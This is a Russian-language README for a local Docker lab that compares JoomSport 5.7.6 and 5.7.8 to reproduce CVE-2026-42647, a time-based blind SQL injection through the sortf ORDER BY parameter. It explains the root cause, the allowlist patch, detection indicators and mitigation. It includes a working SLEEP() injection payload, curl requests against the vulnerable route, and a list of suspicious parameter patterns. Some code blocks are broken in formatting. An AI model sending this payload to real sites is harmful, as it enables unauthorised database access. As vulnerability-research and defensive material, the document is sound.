
sortfЭтот репозиторий содержит локальную Docker-лабораторию для воспроизведения и проверки CVE-2026-42647 — уязвимости неаутентифицированной SQL-инъекции, затрагивающей плагин WordPress JoomSport - for Sports: Team & League, Football, Hockey & more.
Уязвимое поведение возникает в функции сортировки списка игроков. Публичный посетитель может контролировать параметр запроса sortf, который используется для построения SQL-выражения ORDER BY. В уязвимых версиях значение очищается как текст и заключается в обратные кавычки, но не проверяется по строгому белому списку перед добавлением в SQL-запрос.
Эта лаборатория сравнивает две версии JoomSport:
| Сервис | Версия JoomSport | Назначение | URL |
|---|---|---|---|
vuln | 5.7.6 | Уязвимая цель сравнения | http://localhost:8081 |
patched | 5.7.8 | Исправленная цель сравнения | http://localhost:8082 |
Официальные уведомления определяют версии до 5.7.8 как затронутые, а 5.7.8 — как исправленную версию. Эта лаборатория использует 5.7.6 в качестве уязвимой цели, поскольку тег исходного кода 5.7.7 отсутствовал в списке тегов SVN плагина WordPress.org на момент подготовки этой лаборатории.
Демонстрируемая цепочка уязвимости:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field
Этот лабораторный стенд подтверждает уязвимость как слепую SQL-инъекцию на основе времени. Он не выполняет дамп базы данных, извлечение учётных данных, изменение данных или деструктивные SQL-операции.
Данный стенд предназначен только для контролируемого локального исследования, понимания на уровне исходного кода и демонстрации в портфолио.
## Проверенные факты
| Утверждение | Доказательство | Как проверить в этом стенде |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| Сообщается, что JoomSport до версии 5.7.8 уязвим к неаутентифицированной SQL-инъекции. | Публичные уведомления об уязвимостях относят JoomSport `< 5.7.8` / `<= 5.7.7` к затронутым версиям. | Изучите раздел References и сравните уязвимую и исправленную версии сервисов. |
| JoomSport 5.7.8 — это исправленная версия. | Публичные уведомления и сравнение исходного кода показывают, что в 5.7.8 значение `sortf` проверяется перед формированием выражения сортировки. | Изучите `class-jsport-playerlist.php` в обеих версиях. |
| Затронутый параметр — `sortf`. | Уязвимый код списка игроков считывает `classJsportRequest::get('sortf')`. | Запустите PoC и наблюдайте инъецированный запрос с параметром `sortf`. |
| Уязвимый код формирует динамическое значение сортировки SQL из пользовательского ввода. | В уязвимой версии `sortf` используется для построения `$options['ordering']`. | Изучите `sportleague/classes/objects/class-jsport-playerlist.php`. |
| SQL-sink — это выражение `ORDER BY`. | Сформированное значение `$ordering` позже добавляется в SQL-запрос с `ORDER BY`. | Изучите `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| Патч использует исправление в стиле белого списка (allowlist). | Исправленная версия вводит разрешённые статические столбцы и ожидаемые шаблоны динамических полей перед использованием поля сортировки. | Сравните исходный код JoomSport 5.7.6 и 5.7.8. |
| Стенд демонстрирует слепую SQL-инъекцию на основе времени. | Уязвимая цель отвечает с задержкой при использовании инъецированного выражения `SLEEP()`; исправленная цель — нет. | Выполните `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |
## Допущения и неизвестные
В данном стенде JoomSport 5.7.6 используется в качестве уязвимой цели для сравнения, поскольку публичная исправленная версия — 5.7.8, а тега исходного кода 5.7.7 не было в списке SVN-тегов плагина на WordPress.org на момент подготовки стенда.
Стенд не утверждает, что 5.7.6 — единственная уязвимая версия. Она используется как воспроизводимая уязвимая базовая версия для сравнения уязвимого поведения с поведением исправленной версии 5.7.8.
Стенд сосредоточен на параметре `sortf` в процессе сортировки списка игроков.
Демонстрируемое воздействие — слепая SQL-инъекция на основе времени. Стенд не демонстрирует:
* прямой дамп базы данных,
* извлечение учётных данных,
* обход аутентификации,
* повышение привилегий,
* произвольное изменение данных,
* удалённое выполнение кода,
* закрепление в системе (persistence),
* внешние обратные вызовы,
* или атаки на системы, не входящие в состав стенда.
Возможно проявление error-based или boolean-based поведения в зависимости от поведения базы данных, конфигурации приложения и различий в ответах, но данный стенд не опирается на эти методы. Основное доказательство основано на временных задержках (timing-based).
## Сводка о корневой причине
Корневая причина — небезопасное формирование динамического SQL-выражения `ORDER BY` из параметра запроса `sortf`.
Уязвимый путь выполнения кода начинается в:```text
sportleague/classes/objects/class-jsport-playerlist.php
В логике загрузки списка игроков JoomSport читает параметр запроса:```text sortf
и использует его для создания:```text
$options['ordering']
Соответствующий шаблон уязвимого исходного кода:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
Проблема в первую очередь не в параметре `sortd`. Значение `sortd` ограничено:```text
ASC
DESC
Проблема в параметре sortf, поскольку он управляет позицией SQL-идентификатора/выражения, используемой для сортировки.
Опасное выражение:```php
"".classJsportRequest::get('sortf').""
Код помещает управляемые атакующим входные данные в контекст идентификатора MySQL и затем передаёт их как фрагмент SQL-сортировки.
Код применяет:```php
sanitize_text_field()
но sanitize_text_field() — это не проверка SQL-идентификаторов. Она предназначена для очистки текста, а не для безопасного построения SQL-синтаксиса.
Уязвимый код также оборачивает управляемое пользователем поле сортировки в обратные кавычки. Однако обратные кавычки не являются границей безопасности, когда атакующий может влиять на содержимое идентификатора. Если атакующий может внедрить обратную кавычку в значение, он сможет выйти за пределы предполагаемого контекста идентификатора.
Сгенерированное значение сортировки позже передаётся в запрос получения игрока и добавляется в SQL-предложение ORDER BY в:```text
sportleague/base/wordpress/classes/class-jsport-getplayers.php
Паттерн sink:```php
$query .= ' ORDER BY '.($ordering);
Это создаёт уязвимый поток данных:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY
Проблема безопасности заключается в том, что приложение обрабатывает управляемый пользователем параметр запроса как идентификатор/выражение SQL без предварительной проверки его по строгому списку разрешённых значений.
## Краткое описание патча
Соответствующий патч находится в:```text
sportleague/classes/objects/class-jsport-playerlist.php
В уязвимой версии код списка игроков строит $options['ordering'] напрямую из значения запроса:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
Уязвимая часть заключается в том, что `classJsportRequest::get('sortf')` используется внутри SQL-выражения сортировки.
JoomSport 5.7.8 меняет это поведение, вводя проверенную переменную поля сортировки перед построением `$options['ordering']`.
В исправленной версии инициализируется безопасное значение по умолчанию:```php
$sortFieldEsc = 'post_title';
Затем он определяет допустимые столбцы статической сортировки:```php $sortCols = array("played", "career_minutes", "post_title");
Когда присутствует `sortf`, пропатченный код принимает его только в том случае, если он соответствует одному из ожидаемых статических значений:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
Патч также допускает ожидаемые динамические форматы полей event/stat:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
Последнее изменение, связанное с безопасностью, заключается в том, что `$options['ordering']` строится из `$sortFieldEsc` вместо необработанного значения запроса `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
Это не удаляет динамическую сортировку. Это изменяет границу доверия.
До патча:```text request sortf value directly controlled the ORDER BY identifier
После патча:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
Если злоумышленник отправляет неожиданное значение, например:```text post_title`DESC,(SLEEP(2))#
исправленный код не присваивает это значение `$sortFieldEsc`.
Вместо этого поле сортировки возвращается к:```text
post_title
Именно поэтому уязвимый сервис задерживается, в то время как пропатченный сервис остаётся вблизи базового времени.
Урок безопасности из патча заключается в следующем:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
## Архитектура лаборатории
Лаборатория запускает две изолированные установки WordPress через Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── init-wordpress.sh
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
Сервисы, доступные по умолчанию:
Процесс настройки создаёт минимальные данные JoomSport, необходимые для отображения маршрута списка игроков:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
Уязвимый и исправленный сервисы используют одинаковую структуру лабораторных данных, чтобы временное поведение можно было корректно сравнивать.
requests для запуска PoC с хостаПри необходимости установите Python-зависимость на хосте:```bash python3 -m pip install requests
## Быстрый старт
Запустите лабораторию:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Наблюдайте за контейнерами установки:```bash docker compose logs -f setup-vuln setup-patched
Ожидаемые сообщения о завершении настройки:```text
[VULN] setup complete
[PATCHED] setup complete
Проверьте состояние контейнера:```bash docker compose ps
Ожидаемые открытые сервисы:```text
http://localhost:8081
http://localhost:8082
Запустите PoC против уязвимой цели:```bash python3 poc/poc.py http://localhost:8081
Запустите PoC против пропатченной цели:```bash
python3 poc/poc.py http://localhost:8082
Запустите PoC против обеих целей одной командой:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
Для более стабильной статистики времени увеличьте количество раундов:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Вы также можете настроить запрашиваемое время ожидания:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
## Использование PoC
PoC проверяет каждую цель независимо.
Для него больше не требуются отдельные параметры `--vuln-url` или `--patched-url`. Вместо этого передайте один или несколько целевых URL-адресов в качестве позиционных аргументов:```bash
python3 poc/poc.py <target_url> [target_url...]
Примеры:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082
Если целевой URL не указан, скрипт в интерактивном режиме запросит один или несколько локальных целевых URL-адресов.
Поддерживаемые параметры:```text
--season-id Seeded JoomSport season post ID. Default: 4
--rounds Number of requests per baseline/injected series. Default: 3
--sleep SLEEP() seconds used in the timing payload. Default: 2
The PoC is intentionally local-scope. It accepts localhost-style targets such as:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
По умолчанию PoC отклоняет нелокальные цели.
## Как PoC принимает решение
Для каждой цели PoC выполняет две серии замеров времени:```text
[1/2] Baseline timing
[2/2] Injected timing
Базовый запрос использует обычное поле сортировки:```text sortf=post_title
Внедрённый запрос использует локальную временную нагрузку в параметре `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#
PoC вычисляет:```text delta = injected median - baseline median
| Вердикт | Значение |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | Внедренный запрос значительно медленнее базового. |
| `PATCHED-LIKE` | Внедренный запрос остается близким к базовому. |
| `UNREACHABLE` | Цель недоступна. |
| `INCONCLUSIVE` | Некоторые данные о времени отсутствовали или были неполными.|
Правило принятия решения по умолчанию:```text
injected median - baseline median >= 60% of requested SLEEP()
Для значения по умолчанию --sleep 2 порог составляет:```text
1.200s median delta
Это означает, что цель сообщается как `VULNERABLE-LIKE` только тогда, когда инъекционный запрос явно медленнее, чем её собственный базовый уровень.
Недостижимые или неопределённые цели не считаются исправленными.
## Ручное воспроизведение HTTP с curl
Вы можете воспроизвести проверку вручную, не используя Python PoC.
Уязвимый базовый запрос:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Уязвимый внедрённый запрос:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Запрос исправленной базовой линии:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Патченный инъекционный запрос:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Ожидаемое сравнение:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched -> injected request stays near baseline timing
Команда:```bash python3 poc/poc.py http://localhost:8081
Expected vulnerable signal:```text
CVE-2026-42647 JoomSport local timing validation
Scope : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic : baseline timing vs injected timing per target
Targets : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta
================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing
run 01: status=200 time=0.092s bytes=75333
run 02: status=200 time=0.044s bytes=75333
run 03: status=200 time=0.046s bytes=75333
summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
summary status=200x3 bytes=75333
[2/2] Injected timing
run 01: status=200 time=6.050s bytes=75321
run 02: status=200 time=6.058s bytes=75321
run 03: status=200 time=6.095s bytes=75321
summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
summary status=200x3 bytes=75321
Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta : 6.011s
Ratio : 130.8x
Threshold : 1.200s
Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### Запатченная цель
Команда:```bash
python3 poc/poc.py http://localhost:8082
Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
### Несколько целей
Команда:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
Ожидаемый результат:```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### Недоступная цель
Если цель не запущена, PoC должен сообщать `UNREACHABLE`, а не `PATCHED-LIKE`.
Пример:```bash
python3 poc/poc.py http://localhost:8083
Ожидаемое решение:```text Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
Недоступные цели не считаются исправленными.
## Как работает PoC
PoC проверяет маршрут списка игроков JoomSport на наличие заранее созданного поста сезона.
Целевой маршрут эквивалентен:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC
Базовый запрос использует:```text sortf=post_title
Это должно обеспечить нормальную сортировку списка игроков.
Внедрённый запрос использует:```text
sortf=post_title`DESC,(SLEEP(2))#
Уязвимый код оборачивает sortf в обратные кавычки и добавляет направление сортировки. Внедрённое значение предназначено для выхода из предполагаемого контекста идентификатора и внедрения выражения, создающего задержку, в предложение ORDER BY.
Концептуально уязвимый фрагмент SQL становится похожим на:```sql
ORDER BY post_title DESC, (SLEEP(2))
Маркер комментария `#` не даёт завершающему обратному апострофу и направлению вмешиваться во внедрённое выражение.
Это не payload со стековыми запросами. Он не внедряет:```sql
; SELECT SLEEP(2);
Вместо этого он внедряет SQL-выражение в существующий контекст ORDER BY.
Патченная версия не выполняет внедрённое выражение, поскольку значение sortf проверяется на соответствие разрешённым полям сортировки и возвращается к post_title, когда значение неожиданное.
Эта лабораторная работа демонстрирует неаутентифицированную time-based blind SQL-инъекцию в параметре sortf списка игроков JoomSport.
Уязвимая версия выполняет внедрённое SQL-выражение, вызывающее временную задержку, через конструкцию ORDER BY, что приводит к заметной задержке ответа. Патченная версия не вызывает задержку, поскольку внедрённое поле сортировки отклоняется и заменяется безопасным значением из белого списка.
Лабораторная работа подтверждает только выполнение SQL, основанное на времени. Она не демонстрирует извлечение данных, модификацию данных, обход аутентификации, повышение привилегий или удалённое выполнение кода.
Потенциальные индикаторы включают прямые запросы к маршрутам списка игроков JoomSport с необычными значениями sortf.
Пример подозрительного шаблона запроса:```text GET /?post_type=joomsport_season&p=&action=playerlist&sortf=<unexpected_value>&sortd=ASC
Подозрительные характеристики `sortf`:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
Пример запроса локальной лаборатории:```text sortf=post_title`DESC,(SLEEP(2))#
Ожидаемый сигнал уязвимости:```text
HTTP 200 response with significant timing delay
Ожидаемый пропатченный сигнал:```text HTTP 200 response without significant timing delay
Возможные идеи для мониторинга продакшн-среды:
* Просматривайте журналы веб-доступа на предмет необычных значений `sortf`.
* Создавайте оповещения о ключевых словах SQL или маркерах комментариев внутри параметров сортировки.
* Отслеживайте повторяющиеся запросы к маршрутам списка игроков JoomSport с небольшими изменениями параметров.
* Отслеживайте медленные запросы к базе данных, затрагивающие таблицы списка игроков JoomSport.
* Сопоставляйте медленные запросы с публичным неаутентифицированным трафиком.
* Проверяйте, установлен ли JoomSport и является ли его версия старее 5.7.8.
## Рекомендации по смягчению последствий и примечания к патчу
Обновите JoomSport до версии 5.7.8 или более поздней.
Исправленная версия ограничивает параметр `sortf` ожидаемыми полями сортировки и шаблонами динамических полей. Неожиданные значения возвращаются к безопасному полю сортировки по умолчанию.
Рекомендации по смягчению последствий на уровне приложения:
* Обновите плагин JoomSport.
* Не публикуйте устаревшие версии плагинов на общедоступных сайтах WordPress.
* Просматривайте журналы веб-доступа на предмет подозрительных параметров `sortf`.
* Отключайте или ограничивайте затронутый функционал только в качестве временной меры, если немедленное обновление невозможно.
* Используйте правило межсетевого экрана веб-приложения в качестве временного слоя, а не замены установки патчей.
* Относитесь к динамическим идентификаторам SQL иначе, чем к обычным значениям: используйте белые списки для имён столбцов, имён таблиц, направлений сортировки и аналогичных компонентов синтаксиса SQL.
Самый важный механизм контроля — это белый список. Экранирования само по себе недостаточно для полного исправления динамических идентификаторов SQL.
## Полезные команды для проверки
Проверьте запущенные контейнеры:```bash
docker compose ps
Смотреть журналы настройки:```bash docker compose logs -f setup-vuln setup-patched
Проверьте службы WordPress:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082
Запустите PoC против уязвимого сервиса:```bash python3 poc/poc.py http://localhost:8081
Запустите PoC против пропатченного сервиса:```bash
python3 poc/poc.py http://localhost:8082
Запустите PoC против обоих сервисов:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
Запустите PoC с большим количеством раундов:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Сохранить доказательства:```bash mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
| tee evidence/timing-validation.txt
docker compose ps
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
evidence/docker-compose-logs.txt
Проверка версий плагинов внутри WordPress:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Проверьте уязвимый исходный код:```bash
docker compose exec -T vuln sh -lc
"grep -R "sortf\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Проверьте пропатченный исходный код:```bash
docker compose exec -T patched sh -lc \
"grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Проверить SQL-приёмник:```bash
docker compose exec -T vuln sh -lc
"grep -R "ORDER BY" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
## Очистка
Остановите и удалите контейнеры и сети:```bash
docker compose down --remove-orphans
Удалите контейнеры, сети и тома:```bash docker compose down -v --remove-orphans
Удалите файлы улик, если они были созданы:```bash
rm -rf evidence/
Эта лаборатория предназначена только для локальных исследований в области безопасности и контролируемых демонстраций.
Не запускайте PoC или пейлоады против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Не используйте в этой лаборатории реальные учётные данные, секреты продакшена или внешние цели.
PoC намеренно ограничен локальными Docker-сервисами, такими как:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
PoC не включает полезных нагрузок для дампа баз данных, кражи учетных данных, изменения данных, закрепления, латерального перемещения или внешних обратных вызовов.
Цель — продемонстрировать одно конкретное техническое условие в контролируемой среде:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version
Уведомление Wordfence: JoomSport <= 5.7.7 - Неаутентифицированная SQL-инъекция через параметр sortf
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
Уведомление Wordfence: JoomSport — для спорта: команды и лиги, футбол, хоккей и другое <= 5.7.7 — Неаутентифицированная SQL-инъекция https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
База данных уязвимостей плагинов WPScan: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/
Плагин WordPress.org: JoomSport — для спорта: команды и лиги, футбол, хоккей и другое https://wordpress.org/plugins/joomsport-sports-league-results-management/
SVN плагина WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
Теги SVN плагина WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
Руководство OWASP по тестированию веб-безопасности: Тестирование на SQL-инъекции https://owasp.org/www-project-web-security-testing-guide/
Серия шпаргалок OWASP: Предотвращение SQL-инъекций https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
| Сервис | Компонент | Версия / Роль |
|---|
vuln | WordPress + JoomSport | JoomSport 5.7.6 |
patched | WordPress + JoomSport | JoomSport 5.7.8 |
db-vuln | MariaDB | база данных для уязвимой цели |
db-patched | MariaDB | база данных для пропатченной цели |
setup-vuln | WP-CLI init service | устанавливает WordPress и наполняет уязвимую цель |
setup-patched | WP-CLI init service | устанавливает WordPress и наполняет пропатченную цель |
| Vulnerable target: http://localhost:8081 | ||
| Patched target: http://localhost:8082 |